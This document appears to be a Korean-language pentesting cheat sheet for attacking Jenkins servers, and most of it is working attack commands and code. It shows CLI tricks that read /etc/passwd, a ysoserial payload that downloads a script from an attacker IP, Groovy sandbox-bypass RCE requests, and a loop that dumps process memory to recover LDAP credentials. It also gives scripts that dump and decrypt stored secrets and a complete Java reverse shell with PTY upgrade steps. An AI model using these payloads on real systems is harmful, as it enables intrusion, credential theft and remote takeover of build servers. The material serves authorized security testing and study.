
Notes about attacking Jenkins servers
인증된 경우, 전체 파일을 검색할 수 있습니다:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
인증되지 않았거나 Global/Read 권한이 없는 경우, 3줄만 읽을 수 있습니다: 첫 번째 줄 읽기:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
두 번째 줄 읽기:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
세 번째 줄 읽기:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
ysoserial을 사용하여 페이로드를 생성하세요. 그런 다음 이 스크립트를 사용하여 RCE를 실행합니다:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
자세한 내용은 여기를 참조하세요.
Jenkins가 인증을 요구하지만 다음 요청을 사용하여 유효한 데이터를 반환한다면 취약합니다:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
원본 RCE 취약점은 여기, 전체 익스플로잇은 여기에 있습니다.
Overall/Read 및 Job/Configure 권한이 있는 대체 RCE는 여기에 있습니다.
다음 Groovy를 사용하여 Jenkins 인스턴스가 취약한지 확인합니다 (Overall/Read 권한 필요):
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
참고: 누락된 crumb(잘못된 crumb)으로 인한 403 오류가 발생하면 https://example.com/crumbIssuer/api/json에 GET 요청을 보내 crumb 값을 얻을 수 있습니다. 그런 다음 crumb 값을 Jenkins-Crumb 헤더에 추가하여 POST 요청에 포함해야 합니다.
임의의 bash 명령 실행:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
즉시 리버스 셸을 얻지 못하면 예외를 발생시켜 디버깅할 수 있습니다:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
이 공격은 보안 매트릭스에서 사용자에게 'Jobs/Configure' 권한이 있는 경우에만 작동하므로 매우 특수한 상황입니다.
이 취약점은 전용이고 오래된 Update Center를 사용하는 경우에만 악용할 수 있습니다. 따라서 대부분의 서버는 취약하지 않습니다.
빌드 콘솔 출력과 빌드 환경 변수를 덤프하여 평문 비밀값을 찾으려면 이 스크립트를 사용하세요.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
이 파이썬 스크립트 또는 이 powershell 스크립트를 사용하세요.
다음 파일은 Jenkins 비밀값을 복호화하는 데 필요합니다:
이러한 비밀값은 일반적으로 다음 위치에서 찾을 수 있습니다:
다음은 이를 찾기 위한 정규식입니다:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Jenkins가 사용자 자격 증명을 LDAP에 중계하여 검증하도록 구성된 경우(어리석은 구성이지만 기업에서 흔한 취약점입니다) Java 프로세스의 메모리를 덤프하여 이러한 평문 사용자 자격 증명을 복구할 수 있습니다. Jenkins 서버의 PID가 7이라고 가정하면 다음 루프는 30초마다 스택의 메모리 덤프를 수행합니다:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
가비지 컬렉터가 정기적으로 자격 증명 구조를 해제하므로 짧은 지연이 중요합니다.
이전에 덤프한 비밀값을 복호화하려면 이 스크립트를 사용하세요.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
파이프, 리다이렉트 등을 포함할 수 있는 여러 줄 셸 명령:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
이 작업을 자동화하려면 이 스크립트를 사용하세요.
기본적으로 실행은 마스터 노드에서 수행됩니다. 특정 슬레이브에서 실행하려면 다음 스크립트를 사용하세요:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
완전히 작동하는 PTY를 복구하기 위한 이 리버스 셸 팁을 필요할 경우를 대비해 여기에 남겨 둡니다:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy